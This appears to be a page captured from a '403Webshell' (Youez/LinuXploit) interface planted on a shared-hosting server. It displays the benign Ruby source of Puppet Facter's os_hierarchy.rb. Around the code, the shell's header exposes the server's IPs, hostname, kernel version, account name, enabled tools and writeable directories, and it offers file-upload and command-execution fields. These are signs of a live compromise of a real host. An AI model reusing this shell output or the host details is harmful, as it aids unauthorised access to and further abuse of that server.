403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.23.102.165
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/facter/framework/detector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/facter/framework/detector/os_hierarchy.rb
# frozen_string_literal: true

require_relative '../../../facter/config'

module Facter
  class OsHierarchy
    def initialize
      @log = Log.new(self)
      @os_hierarchy = Facter::Config::OS_HIERARCHY
    end

    def construct_hierarchy(searched_os)
      return [] if searched_os.nil?

      searched_os = searched_os.to_s.capitalize
      if @os_hierarchy.nil?
        @log.debug("There is no os_hierarchy, will fall back to: #{searched_os}")
        return [searched_os]
      end

      @searched_path = []
      search(@os_hierarchy, searched_os, [])

      @searched_path.map { |os_name| os_name.to_s.capitalize }
    end

    private

    def search(json_data, searched_element, path)
      # we hit a dead end, the os was not found on this branch
      # and we cannot go deeper
      return unless json_data

      json_data.each do |tree_node|
        # we found the searched OS, so save the path from the tree
        @searched_path = path.dup << tree_node if tree_node == searched_element

        next unless tree_node.is_a?(Hash)

        tree_node.each do |k, v|
          return @searched_path = path.dup << k if k == searched_element

          search(v, searched_element, path << k)
          path.pop
        end
      end
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit